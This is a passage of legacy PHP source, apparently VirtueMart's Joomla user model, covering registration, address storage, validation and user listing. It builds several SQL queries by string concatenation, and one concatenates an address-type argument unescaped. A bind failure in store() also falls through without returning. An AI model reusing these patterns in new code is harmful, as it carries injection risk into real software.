/** * Return a list with groups that can be set by the current user * * @return mixed Array with groups that can be set, or the groupname (string) if it cannot be changed. */ function getGroupList() { if(JVM_VERSION === 2) { //hm CB thing also not help // $_grpList = $this->get_groups_below_me(); // return $_grpList; /* if(!class_exists('UsersModelUser')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_users'.DS.'models'.DS.'user.php'); $jUserModel = new UsersModelUser(); $list = $jUserModel->getGroups(); $user = JFactory::getUser(); if ($user->authorise('core.edit', 'com_users') && $user->authorise('core.manage', 'com_users')) { $model = JModel::getInstance('Groups', 'UsersModel', array('ignore_request' => true)); return $model->getItems(); } else { return null; }*/ $user = JFactory::getUser(); $authGroups = JAccess::getGroupsByUser($user->id); // $authGroups = $user->getAuthorisedGroups(); // vmdebug('getGroupList j17',$authGroups); $db = $this->getDbo(); $where = implode($authGroups,'" OR `id` = "').'"'; $q = 'SELECT `id` as value,`title` as text FROM #__usergroups WHERE `id` = "'.$where; $db->setQuery($q); $list = $db->loadAssocList(); // foreach($list as $item){ // vmdebug('getGroupList $item ',$item); // } // vmdebug('getGroupList $q '.$list); return $list; } else { $_aclObject = JFactory::getACL(); if(empty($this->_data)) $this->getUser(); if (JVM_VERSION>1){ //TODO fix this latter. It's just an workarround to make it working on 1.6 $gids = $this->_data->JUser->get('groups'); return array_flip($gids); } $_usr = $_aclObject->get_object_id ('users', $this->_data->JUser->get('id'), 'ARO'); $_grp = $_aclObject->get_object_groups ($_usr, 'ARO'); $_grpName = strtolower ($_aclObject->get_group_name($_grp[0], 'ARO')); $_currentUser = JFactory::getUser(); $_my_usr = $_aclObject->get_object_id ('users', $_currentUser->get('id'), 'ARO'); $_my_grp = $_aclObject->get_object_groups ($_my_usr, 'ARO'); $_my_grpName = strtolower ($_aclObject->get_group_name($_my_grp[0], 'ARO')); // administrators can't change each other and frontend-only users can only see groupnames if (( $_grpName == $_my_grpName && $_my_grpName == 'administrator' ) || !$_aclObject->is_group_child_of($_my_grpName, 'Public Backend')) { return $_grpName; } else { $_grpList = $_aclObject->get_group_children_tree(null, 'USERS', false); $_remGroups = $_aclObject->get_group_children( $_my_grp[0], 'ARO', 'RECURSE' ); if (!$_remGroups) { $_remGroups = array(); } // Make sure privs higher than my own can't be granted if (in_array($_grp[0], $_remGroups)) { // nor can privs of users with higher privs be decreased. return $_grpName; } $_i = 0; $_j = count($_grpList); while ($_i < $_j) { if (in_array($_grpList[$_i]->value, $_remGroups)) { array_splice( $_grpList, $_i, 1 ); $_j = count($_grpList); } else { $_i++; } } return $_grpList; } } } /** * Bind the post data to the JUser object and the VM tables, then saves it * It is used to register new users * This function can also change already registered users, this is important when a registered user changes his email within the checkout. * * @author Max Milbers * @author Oscar van Eijk * @return boolean True is the save was successful, false otherwise. */ public function store(&$data,$checkToken = TRUE){ $message = ''; $user = ''; $newId = 0; if($checkToken){ JRequest::checkToken() or jexit( 'Invalid Token, while trying to save user' ); $mainframe = JFactory::getApplication() ; } if(empty($data)){ vmError('Developer notice, no data to store for user'); return false; } //To find out, if we have to register a new user, we take a look on the id of the usermodel object. //The constructor sets automatically the right id. $new = ($this->_id < 1); if(empty($this->_id)){ $user = new JUser(); //thealmega http://forum.virtuemart.net/index.php?topic=99755.msg393758#msg393758 } else { $user = JFactory::getUser($this->_id); } $gid = $user->get('gid'); // Save original gid // Preformat and control user datas by plugin JPluginHelper::importPlugin('vmuserfield'); $dispatcher = JDispatcher::getInstance(); $valid = true ; $dispatcher->trigger('plgVmOnBeforeUserfieldDataSave',array(&$valid,$this->_id,&$data,$user )); // $valid must be false if plugin detect an error if( $valid == false ) { return false; } // Before I used this "if($cart && !$new)" // This construction is necessary, because this function is used to register a new JUser, so we need all the JUser data in $data. // On the other hand this function is also used just for updating JUser data, like the email for the BT address. In this case the // name, username, password and so on is already stored in the JUser and dont need to be entered again. if(empty ($data['email'])){ $email = $user->get('email'); if(!empty($email)){ $data['email'] = $email; } } else { $data['email'] = JRequest::getString('email', '', 'post', 'email'); } $data['email'] = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$data['email']); //This is important, when a user changes his email address from the cart, //that means using view user layout edit_address (which is called from the cart) $user->set('email',$data['email']); if(empty ($data['name'])){ $name = $user->get('name'); if(!empty($name)){ $data['name'] = $name; } } else { $data['name'] = JRequest::getString('name', '', 'post', 'name'); } $data['name'] = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$data['name']); if(empty ($data['username'])){ $username = $user->get('username'); if(!empty($username)){ $data['username'] = $username; } else { $data['username'] = JRequest::getVar('username', '', 'post', 'username'); } } if(empty ($data['password'])){ $data['password'] = JRequest::getVar('password', '', 'post', 'string' ,JREQUEST_ALLOWRAW); } if(empty ($data['password2'])){ $data['password2'] = JRequest::getVar('password2', '', 'post', 'string' ,JREQUEST_ALLOWRAW); } if(!$new && !empty($data['password']) && empty($data['password2'])){ unset($data['password']); unset($data['password2']); } // Bind Joomla userdata if (!$user->bind($data)) { foreach($user->getErrors() as $error) { // vmError('user bind '.$error); vmError('user bind '.$error,JText::sprintf('COM_VIRTUEMART_USER_STORE_ERROR',$error)); } $message = 'Couldnt bind data to joomla user'; array('user'=>$user,'password'=>$data['password'],'message'=>$message,'newId'=>$newId,'success'=>false); } if($new){ // If user registration is not allowed, show 403 not authorized. // But it is possible for admins and storeadmins to save $usersConfig = JComponentHelper::getParams( 'com_users' ); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if (!Permissions::getInstance()->check("admin,storeadmin") && $usersConfig->get('allowUserRegistration') == '0') { VmConfig::loadJLang('com_virtuemart'); JError::raiseError( 403, JText::_('COM_VIRTUEMART_ACCESS_FORBIDDEN')); return; } $authorize = JFactory::getACL(); // Initialize new usertype setting $newUsertype = $usersConfig->get( 'new_usertype' ); if (!$newUsertype) { if ( JVM_VERSION===1){ $newUsertype = 'Registered'; } else { $newUsertype = 2; } } // Set some initial user values $user->set('usertype', $newUsertype); if ( JVM_VERSION===1){ $user->set('gid', $authorize->get_group_id( '', $newUsertype, 'ARO' )); } else { $user->groups[] = $newUsertype; } $date = JFactory::getDate(); $user->set('registerDate', $date->toMySQL()); // If user activation is turned on, we need to set the activation information $useractivation = $usersConfig->get( 'useractivation' ); $doUserActivation=false; if ( JVM_VERSION===1){ if ($useractivation == '1' ) { $doUserActivation=true; } } else { if ($useractivation == '1' or $useractivation == '2') { $doUserActivation=true; } } vmdebug('user',$useractivation , $doUserActivation); if ($doUserActivation ) { jimport('joomla.user.helper'); $user->set('activation', JUtility::getHash( JUserHelper::genRandomPassword()) ); $user->set('block', '1'); //$user->set('lastvisitDate', '0000-00-00 00:00:00'); } } $option = JRequest::getCmd( 'option'); // If an exising superadmin gets a new group, make sure enough admins are left... if (!$new && $user->get('gid') != $gid && $gid == __SUPER_ADMIN_GID) { if ($this->getSuperAdminCount() <= 1) { vmError(JText::_('COM_VIRTUEMART_USER_ERR_ONLYSUPERADMIN')); return false; } } if(isset($data['language'])){ $user->setParam('language',$data['language']); } // Save the JUser object if (!$user->save()) { vmError(JText::_( $user->getError()) , JText::_( $user->getError())); return false; } //vmdebug('my user, why logged in? ',$user); $newId = $user->get('id'); $data['virtuemart_user_id'] = $newId; //We need this in that case, because data is bound to table later $this->setUserId($newId); //Save the VM user stuff if(!$this->saveUserData($data) || !self::storeAddress($data)){ vmError('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA'); // vmError(Jtext::_('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA')); } else { if ($new) { $this->sendRegistrationEmail($user,$user->password_clear, $doUserActivation); if ($doUserActivation ) { vmInfo('COM_VIRTUEMART_REG_COMPLETE_ACTIVATE'); } else { vmInfo('COM_VIRTUEMART_REG_COMPLETE'); $user->set('activation', '' ); $user->set('block', '0'); $user->set('guest', '0'); } } else { vmInfo('COM_VIRTUEMART_USER_DATA_STORED'); } } //The extra check for isset vendor_name prevents storing of the vendor if there is no form (edit address cart) if((int)$data['user_is_vendor']==1 and isset($data['vendor_name'])){ vmdebug('vendor recognised '.$data['virtuemart_vendor_id']); if($this ->storeVendorData($data)){ if ($new) { if ($doUserActivation ) { vmInfo('COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE'); } else { vmInfo('COM_VIRTUEMART_REG_VENDOR_COMPLETE'); } } else { vmInfo('COM_VIRTUEMART_VENDOR_DATA_STORED'); } } } return array('user'=>$user,'password'=>$data['password'],'message'=>$message,'newId'=>$newId,'success'=>true); } /** * This function is NOT for anonymous. Anonymous just get the information directly sent by email. * This function saves the vm Userdata for registered JUsers. * TODO, setting of shoppergroup isnt done * * TODO No reason not to use this function for new users, but it requires a Joomla plugin * that gets fired by the onAfterStoreUser. I'll built that (OvE) * * Notice: * As long we do not have the silent registration, an anonymous does not get registered. It is enough to send the virtuemart_order_id * with the email. The order is saved with all information in an extra table, so there is * no need for a silent registration. We may think about if we actually need/want the feature silent registration * The information of anonymous is stored in the order table and has nothing todo with the usermodel! * * @author Max Milbers * @author Oscar van Eijk * return boolean */ public function saveUserData(&$data,$trigger=true){ if(empty($this->_id)){ echo 'This is a notice for developers, you used this function for an anonymous user, but it is only designed for already registered ones'; vmError( 'This is a notice for developers, you used this function for an anonymous user, but it is only designed for already registered ones'); return false; } $noError = true; $usertable = $this->getTable('vmusers'); $alreadyStoredUserData = $usertable->load($this->_id); $app = JFactory::getApplication(); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")){ unset($data['virtuemart_vendor_id']); unset($data['user_is_vendor']); $data['user_is_vendor'] = $alreadyStoredUserData->user_is_vendor; $data['virtuemart_vendor_id'] = $alreadyStoredUserData->virtuemart_vendor_id; } else { if(!isset($data['user_is_vendor']) and !empty($alreadyStoredUserData->user_is_vendor)){ $data['user_is_vendor'] = $alreadyStoredUserData->user_is_vendor; } if(!isset($data['virtuemart_vendor_id']) and !empty($alreadyStoredUserData->virtuemart_vendor_id)){ $data['virtuemart_vendor_id'] = $alreadyStoredUserData->virtuemart_vendor_id; } } unset($data['customer_number']); if(empty($alreadyStoredUserData->customer_number)){ //if(!class_exists('vmUserPlugin')) require(JPATH_VM_SITE.DS.'helpers'.DS.'vmuserplugin.php'); ///if(!$returnValues){ $data['customer_number'] = strtoupper(substr($data['username'],0,2)).substr(md5($data['username']),0,9); //We set this data so that vmshopper plugin know if they should set the customer nummer $data['customer_number_bycore'] = 1; //} } else { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin,storeadmin")) { $data['customer_number'] = $alreadyStoredUserData->customer_number; } } if($app->isSite()){ unset($data['perms']); if(!empty($alreadyStoredUserData->perms)){ $data['perms'] = $alreadyStoredUserData->perms; } else { $data['perms'] = 'shopper'; } } else { } if($trigger){ JPluginHelper::importPlugin('vmshopper'); $dispatcher = JDispatcher::getInstance(); $plg_datas = $dispatcher->trigger('plgVmOnUserStore',array(&$data)); foreach($plg_datas as $plg_data){ // $data = array_merge($plg_data,$data); } } $usertable -> bindChecknStore($data); $errors = $usertable->getErrors(); foreach($errors as $error){ $this->setError($error); vmError('storing user adress data'.$error); $noError = false; } if(Permissions::getInstance()->check("admin,storeadmin")) { $shoppergroupmodel = VmModel::getModel('ShopperGroup'); if(empty($this->_defaultShopperGroup)){ $this->_defaultShopperGroup = $shoppergroupmodel->getDefault(0); } if(empty($data['virtuemart_shoppergroup_id']) or $data['virtuemart_shoppergroup_id']==$this->_defaultShopperGroup->virtuemart_shoppergroup_id){ $data['virtuemart_shoppergroup_id'] = array(); } // Bind the form fields to the table if(!empty($data['virtuemart_shoppergroup_id'])){ $shoppergroupData = array('virtuemart_user_id'=>$this->_id,'virtuemart_shoppergroup_id'=>$data['virtuemart_shoppergroup_id']); $user_shoppergroups_table = $this->getTable('vmuser_shoppergroups'); $shoppergroupData = $user_shoppergroups_table -> bindChecknStore($shoppergroupData); $errors = $user_shoppergroups_table->getErrors(); foreach($errors as $error){ $this->setError($error); vmError('Set shoppergroup '.$error); $noError = false; } } } if($trigger){ $plg_datas = $dispatcher->trigger('plgVmAfterUserStore',array($data)); foreach($plg_datas as $plg_data){ $data = array_merge($plg_data); } } return $noError; } public function storeVendorData($data){ if($data['user_is_vendor']){ $vendorModel = VmModel::getModel('vendor'); //TODO Attention this is set now to virtuemart_vendor_id=1, because using a vendor with different id then 1 is not completly supported and can lead to bugs //So we disable the possibility to store vendors not with virtuemart_vendor_id = 1 if(Vmconfig::get('multix','none')=='none' ){ $data['virtuemart_vendor_id'] = 1; vmdebug('no multivendor, set virtuemart_vendor_id = 1'); } $vendorModel->setId($data['virtuemart_vendor_id']); if(empty($data['vendor_store_name']) and !empty($data['company'])) $data['vendor_store_name'] = $data['company']; if (!$vendorModel->store($data)) { vmError('storeVendorData '.$vendorModel->getError()); vmdebug('Error storing vendor',$vendorModel); return false; } } return true; } /** * Take a data array and save any address info found in the array. * * @author unknown, oscar, max milbers * @param array $data (Posted) user data * @param sting $_table Table name to write to, null (default) not to write to the database * @param boolean $_cart Attention, this was deleted, the address to cart is now done in the controller (True to write to the session (cart)) * @return boolean True if the save was successful, false otherwise. */ function storeAddress(&$data){ // if(empty($data['address_type'])){ // vmError('storeAddress no address_type given'); // return false; // } $user =JFactory::getUser(); $userinfo = $this->getTable('userinfos'); if($data['address_type'] == 'BT'){ if(isset($data['virtuemart_userinfo_id']) and $data['virtuemart_userinfo_id']!=0){ $data['virtuemart_userinfo_id'] = (int)$data['virtuemart_userinfo_id']; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $userinfo->load($data['virtuemart_userinfo_id']); if($userinfo->virtuemart_user_id!=$user->id){ vmError('Hacking attempt as admin?','Hacking attempt storeAddress'); return false; } } } else { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); //Todo multi-x, also vendors should be allowed to change the user address. if(!Permissions::getInstance()->check('admin')){ $userId = $user->id; } else { $userId = (int)$data['virtuemart_user_id']; } $q = 'SELECT `virtuemart_userinfo_id` FROM #__virtuemart_userinfos WHERE `virtuemart_user_id` = '.$userId.' AND `address_type` = "BT"'; $this->_db->setQuery($q); $total = $this->_db->loadResultArray(); if (count($total) > 0) { $data['virtuemart_userinfo_id'] = (int)$total[0]; } else { $data['virtuemart_userinfo_id'] = 0;//md5(uniqid($this->virtuemart_user_id)); } $userinfo->load($data['virtuemart_userinfo_id']); //unset($data['virtuemart_userinfo_id']); } if(!$this->validateUserData((array)$data,'BT')){ return false; } $userInfoData = self::_prepareUserFields($data, 'BT',$userinfo); //vmdebug('model user storeAddress',$data); if (!$userinfo->bindChecknStore($userInfoData)) { vmError('storeAddress '.$userinfo->getError()); } } // Check for fields with the the 'shipto_' prefix; that means a (new) shipto address. if($data['address_type'] == 'ST' or isset($data['shipto_address_type_name'])){ $dataST = array(); $_pattern = '/^shipto_/'; foreach ($data as $_k => $_v) { if (preg_match($_pattern, $_k)) { $_new = preg_replace($_pattern, '', $_k); $dataST[$_new] = $_v; } } $userinfo = $this->getTable('userinfos'); if(isset($dataST['virtuemart_userinfo_id']) and $dataST['virtuemart_userinfo_id']!=0){ $dataST['virtuemart_userinfo_id'] = (int)$dataST['virtuemart_userinfo_id']; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $userinfo->load($dataST['virtuemart_userinfo_id']); $user = JFactory::getUser(); if($userinfo->virtuemart_user_id!=$user->id){ vmError('Hacking attempt as admin?','Hacking attempt store address'); return false; } } } if(empty($userinfo->virtuemart_user_id)){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $dataST['virtuemart_user_id'] = $user->id; } else { if(isset($data['virtuemart_user_id'])){ $dataST['virtuemart_user_id'] = (int)$data['virtuemart_user_id']; } else { //Disadvantage is that admins should not change the ST address in the FE (what should never happen anyway.) $dataST['virtuemart_user_id'] = $user->id; } } } if(!$this->validateUserData((array)$dataST,'ST')){ return false; } $dataST['address_type'] = 'ST'; $userfielddata = self::_prepareUserFields($dataST, 'ST',$userinfo); if (!$userinfo->bindChecknStore($userfielddata)) { vmError($userinfo->getError()); } } return $userinfo->virtuemart_userinfo_id; } /** * Test userdata if valid * * @author Max Milbers * @param String if BT or ST * @param Object If given, an object with data address data that must be formatted to an array * @return redirectMsg, if there is a redirectMsg, the redirect should be executed after */ public function validateUserData($data,$type='BT') { if (!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'userfields.php'); $userFieldsModel = VmModel::getModel('userfields'); if ($type == 'BT') { $fieldtype = 'account'; }else { $fieldtype = 'shipment'; } $neededFields = $userFieldsModel->getUserFields( $fieldtype , array('required' => true, 'delimiters' => true, 'captcha' => true, 'system' => false) , array('delimiter_userinfo', 'name','username', 'password', 'password2', 'address_type_name', 'address_type', 'user_is_vendor', 'agreed')); $i = 0; $j = 0; $return = true; $required = 0; //$objSize = count($data); $missingFields = array(); foreach ($neededFields as $field) { //This is a special test for the virtuemart_state_id. There is the speciality that the virtuemart_state_id could be 0 but is valid. if ($field->name == 'virtuemart_state_id') { if (!class_exists('VirtueMartModelState')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'state.php'); if(!empty($data['virtuemart_country_id'])){ if(!isset($data['virtuemart_state_id'])) $data['virtuemart_state_id'] = 0; if (!$msg = VirtueMartModelState::testStateCountry($data['virtuemart_country_id'], $data['virtuemart_state_id'])) { //The state is invalid, so we set the state 0 here. $data['virtuemart_state_id'] = 0; vmdebug('State was not fitting to country, set to 0'); } else if(empty($data['virtuemart_state_id'])){ vmdebug('virtuemart_state_id is empty, but valid (country has not states, set to unrequired'); $field->required = false; } else { vmdebug('validateUserData my country '.$data['virtuemart_country_id'].' my state '.$data['virtuemart_state_id']); } } } if($field->required ){ $required++; if(empty($data[$field->name])){ $missingFields[] = JText::_($field->title); $i++; $return = false; } else if($data[$field->name] == $field->default){ $i++; } else { } } } if($i==$required) $return = -1; //vmdebug('my i '.$i.' my data size '.$required,$return,$data); if(!$return){ VmConfig::loadJLang('com_virtuemart_shoppers', true); foreach($missingFields as $fieldname){ vmInfo(JText::sprintf('COM_VIRTUEMART_MISSING_VALUE_FOR_FIELD',$fieldname) ); vmdebug(''); } } return $return; } function _prepareUserFields(&$data, $type,$userinfo = 0) { if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); $userFieldsModel = VmModel::getModel('userfields'); if ($type == 'ST') { $prepareUserFields = $userFieldsModel->getUserFields( 'shipment' , array() // Default toggles ); } else { // BT // The user is not logged in (anonymous), so we need tome extra fields $prepareUserFields = $userFieldsModel->getUserFields( 'account' , array() // Default toggles , array('delimiter_userinfo', 'name', 'username', 'password', 'password2', 'user_is_vendor') // Skips ); } $admin = false; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin','storeadmin')){ $admin = true; } // Format the data foreach ($prepareUserFields as $fld) { if(empty($data[$fld->name])) $data[$fld->name] = ''; if(!$admin and $fld->readonly){ $fldName = $fld->name; unset($data[$fldName]); if($userinfo!==0){ if(property_exists($userinfo,$fldName)){ //vmdebug('property_exists userinfo->$fldName '.$fldName,$userinfo); $data[$fldName] = $userinfo->$fldName; } else { vmError('Your tables seem to be broken, you have fields in your form which have no corresponding field in the db'); } } } else { $data[$fld->name] = $userFieldsModel->prepareFieldDataSave($fld, $data); } } return $data; } function getBTuserinfo_id($id = 0){ if(empty($this->_db)) $this->_db = JFactory::getDBO(); if($id == 0){ $id = $this->_id; //vmdebug('getBTuserinfo_id is '.$this->_id); } $q = 'SELECT `virtuemart_userinfo_id` FROM `#__virtuemart_userinfos` WHERE `virtuemart_user_id` = "' .(int)$id .'" AND `address_type`="BT" '; $this->_db->setQuery($q); return $this->_db->loadResult(); } /** * * @author Max Milbers */ function getUserInfoInUserFields($layoutName, $type,$uid,$cart=true,$isVendor=false ){ // if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); // $userFieldsModel = new VirtuemartModelUserfields(); $userFieldsModel = VmModel::getModel('userfields'); $prepareUserFields = $userFieldsModel->getUserFieldsFor( $layoutName, $type, $uid ); if($type=='ST'){ $preFix = 'shipto_'; } else { $preFix = ''; } /* * JUser or $this->_id is the logged user */ if(!empty($this->_data->JUser)){ $JUser = $this->_data->JUser; } else { $JUser = JUser::getInstance($this->_id); } $userFields = array(); if(!empty($uid)){ $data = $this->getTable('userinfos'); $data->load($uid); //vmdebug('$data',$data); if($data->virtuemart_user_id!==0 and !$isVendor){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")) { if($data->virtuemart_user_id!=$this->_id){ vmError('Hacking attempt loading userinfo, you got logged'); echo 'Hacking attempt loading userinfo, you got logged'; return false; } } } if ($data->address_type != 'ST' ) { $BTuid = $uid; $data->name = $JUser->name; $data->email = $JUser->email; $data->username = $JUser->username; $data->address_type = 'BT'; } // vmdebug('getUserInfoInUserFields ',$data); } else { //New Address is filled here with the data of the cart (we are in the userview) if($cart){ if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $adType = $type.'address'; if(empty($cart->$adType)){ $data = $cart->$type; if(empty($data)) $data = array(); if($JUser){ if(empty($data['name'])){ $data['name'] = $JUser->name; } if(empty($data['email'])){ $data['email'] = $JUser->email; } if(empty($data['username'])){ $data['username'] = $JUser->username; } if(empty($data['virtuemart_user_id'])){ $data['virtuemart_user_id'] = $JUser->id; } } } $data = (object)$data; } else { if($JUser){ if(empty($data['name'])){ $data['name'] = $JUser->name; } if(empty($data['email'])){ $data['email'] = $JUser->email; } if(empty($data['username'])){ $data['username'] = $JUser->username; } if(empty($data['virtuemart_user_id'])){ $data['virtuemart_user_id'] = $JUser->id; } $data = (object)$data; } else { $data = null; } } } $userFields[$uid] = $userFieldsModel->getUserFieldsFilled( $prepareUserFields ,$data ,$preFix ); return $userFields; } /** * This should store the userdata given in userfields * * @author Max Milbers */ function storeUserDataByFields($data,$type, $toggles, $skips){ if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php' ); $userFieldsModel = VmModel::getModel('userfields'); $prepareUserFields = $userFieldsModel->getUserFields( $type, $toggles, $skips ); // Format the data foreach ($prepareUserFields as $_fld) { if(empty($data[$_fld->name])) $data[$_fld->name] = ''; $data[$_fld->name] = $userFieldsModel->prepareFieldDataSave($_fld,$data); } $this->store($data); return true; } /** * This uses the shopFunctionsF::renderAndSendVmMail function, which uses a controller and task to render the content * and sents it then. * * * @author Oscar van Eijk * @author Max Milbers * @author Christopher Roussel * @author Valérie Isaksen */ private function sendRegistrationEmail($user, $password, $doUserActivation){ if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $vars = array('user' => $user); // Send registration confirmation mail $password = preg_replace('/[\x00-\x1F\x7F]/', '', $password); //Disallow control chars in the email $vars['password'] = $password; if ($doUserActivation) { jimport('joomla.user.helper'); if(JVM_VERSION === 2) { $com_users = 'com_users'; $activationLink = 'index.php?option='.$com_users.'&task=registration.activate&token='.$user->get('activation'); } else { $com_users = 'com_user'; $activationLink = 'index.php?option='.$com_users.'&task=activate&activation='.$user->get('activation'); } $vars['activationLink'] = $activationLink; } $vars['doVendor']=true; // public function renderMail ($viewName, $recipient, $vars=array(),$controllerName = null) shopFunctionsF::renderMail('user', $user->get('email'), $vars); } /** * Delete all record ids selected * * @return boolean True is the remove was successful, false otherwise. */ function remove($userIds) { if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin','storeadmin')) { $userInfo = $this->getTable('userinfos'); $vm_shoppergroup_xref = $this->getTable('vmuser_shoppergroups'); $vmusers = $this->getTable('vmusers'); $_status = true; foreach($userIds as $userId) { $_JUser = JUser::getInstance($userId); if ($this->getSuperAdminCount() <= 1) { // Prevent deletion of the only Super Admin //$_u = JUser::getInstance($userId); if ($_JUser->get('gid') == __SUPER_ADMIN_GID) { vmError(JText::_('COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN')); $_status = false; continue; } } if(Permissions::getInstance()->check('storeadmin')) { if ($_JUser->get('gid') == __SUPER_ADMIN_GID) { vmError(JText::_('COM_VIRTUEMART_USER_ERR_LASTSUPERADMIN')); $_status = false; continue; } } if (!$userInfo->delete($userId)) { vmError($userInfo->getError()); return false; } if (!$vm_shoppergroup_xref->delete($userId)) { vmError($vm_shoppergroup_xref->getError()); // Signal but continue $_status = false; continue; } if (!$vmusers->delete($userId)) { vmError($vmusers->getError()); // Signal but continue $_status = false; continue; } if (!$_JUser->delete()) { vmError($_JUser->getError()); $_status = false; continue; } } } return $_status; } function removeAddress($virtuemart_userinfo_id){ $db = JFactory::getDBO(); if ( isset($virtuemart_userinfo_id) and $this->_id != 0 ) { //$userModel -> deleteAddressST(); $q = 'DELETE FROM #__virtuemart_userinfos WHERE virtuemart_user_id="'. $this->_id .'" AND virtuemart_userinfo_id="'. (int)$virtuemart_userinfo_id .'"'; $db->setQuery($q); if($db->query()){ vmInfo('Address has been successfully deleted.'); return true; } } return false; } /** * Retrieve a list of users from the database. * * @author Max Milbers * @return object List of user objects */ function getUserList() { //$select = ' * '; //$joinedTables = ' FROM #__users AS ju LEFT JOIN #__virtuemart_vmusers AS vmu ON ju.id = vmu.virtuemart_user_id'; $search = JRequest::getString('search', false); $tableToUse = JRequest::getString('searchTable','juser'); $where = ''; if ($search) { $where = ' WHERE '; $searchArray = array('ju.name','username','email','perms','usertype','shopper_group_name'); if($tableToUse!='juser'){ if(!class_exists('TableUserinfos'))require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'userinfos.php'); $db = JFactory::getDbo(); $userfieldTable = new TableUserinfos($db); $userfieldFields = get_object_vars($userfieldTable); $userFieldSearchArray = array('company','first_name','last_name'); //We must validate if the userfields actually exists, they could be removed $userFieldsValid = array(); foreach($userFieldSearchArray as $ufield){ if(array_key_exists($ufield,$userfieldFields)){ $userFieldsValid[] = $ufield; } } $searchArray = array_merge($userFieldsValid,$searchArray); } $search = str_replace(' ','%',$this->_db->getEscaped( $search, true )); foreach($searchArray as $field){ $where.= ' '.$field.' LIKE "%'.$search.'%" OR '; } $where = substr($where,0,-3); } $select = ' ju.id AS id , ju.name AS name , ju.username AS username , ju.email AS email , IFNULL(vmu.user_is_vendor,"0") AS is_vendor , IFNULL(sg.shopper_group_name, "") AS shopper_group_name '; if ($search) { if($tableToUse!='juser'){ $select .= ' , ui.name as uiname '; } foreach($searchArray as $ufield){ $select .= ' , '.$ufield; } } $joinedTables = ' FROM #__users AS ju LEFT JOIN #__virtuemart_vmusers AS vmu ON ju.id = vmu.virtuemart_user_id LEFT JOIN #__virtuemart_vmuser_shoppergroups AS vx ON ju.id = vx.virtuemart_user_id LEFT JOIN #__virtuemart_shoppergroups AS sg ON vx.virtuemart_shoppergroup_id = sg.virtuemart_shoppergroup_id '; if ($search and $tableToUse!='juser') { $joinedTables .= ' LEFT JOIN #__virtuemart_userinfos AS ui ON ui.virtuemart_user_id = vmu.virtuemart_user_id'; } return $this->_data = $this->exeSortSearchListQuery(0,$select,$joinedTables,$where,' GROUP BY ju.id',$this->_getOrdering()); } /** * If a filter was set, get the SQL WHERE clase * * @return string text to add to the SQL statement */ function _getFilter() { if ($search = JRequest::getString('search', false)) { $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $searchArray = array('name','username','email','perms','usertype','shopper_group_name'); $where = ' WHERE '; foreach($searchArray as $field){ $where.= ' `'.$field.'` LIKE '.$search.' OR '; } $where = substr($where,0,-3); //$where = ' WHERE `name` LIKE '.$search.' OR `username` LIKE ' .$search.' OR `email` LIKE ' .$search.' OR `perms` LIKE ' .$search.' OR `usertype` LIKE ' .$search.' OR `shopper_group_name` LIKE ' .$search; return ($where); } return (''); } /** * Retrieve a single address for a user * * @param $_uid int User ID * @param $_virtuemart_userinfo_id string Optional User Info ID * @param $_type string, addess- type, ST (ShipTo, default) or BT (BillTo). Empty string to ignore */ function getUserAddressList($_uid = 0, $_type = 'ST',$_virtuemart_userinfo_id = -1){ //Todo, add perms, allow admin to see 0 entries. if($_uid==0 and $this->_id==0){ return array(); } $_q = 'SELECT * FROM #__virtuemart_userinfos WHERE virtuemart_user_id="' . (($_uid==0)?$this->_id:(int)$_uid) .'"'; if ($_virtuemart_userinfo_id !== -1) { $_q .= ' AND virtuemart_userinfo_id="'.(int)$_virtuemart_userinfo_id.'"'; } else { if ($_type !== '') { $_q .= ' AND address_type="'.$_type.'"'; } } // vmdebug('getUserAddressList query '.$_q); return ($this->_getList($_q)); } /** * Retrieves the Customer Number of the user specified by ID * * @param int $_id User ID * @return string Customer Number */ private $customer_number = 0; public function getCustomerNumberById() { if($this->customer_number===0){ $_q = "SELECT `customer_number` FROM `#__virtuemart_vmusers` " 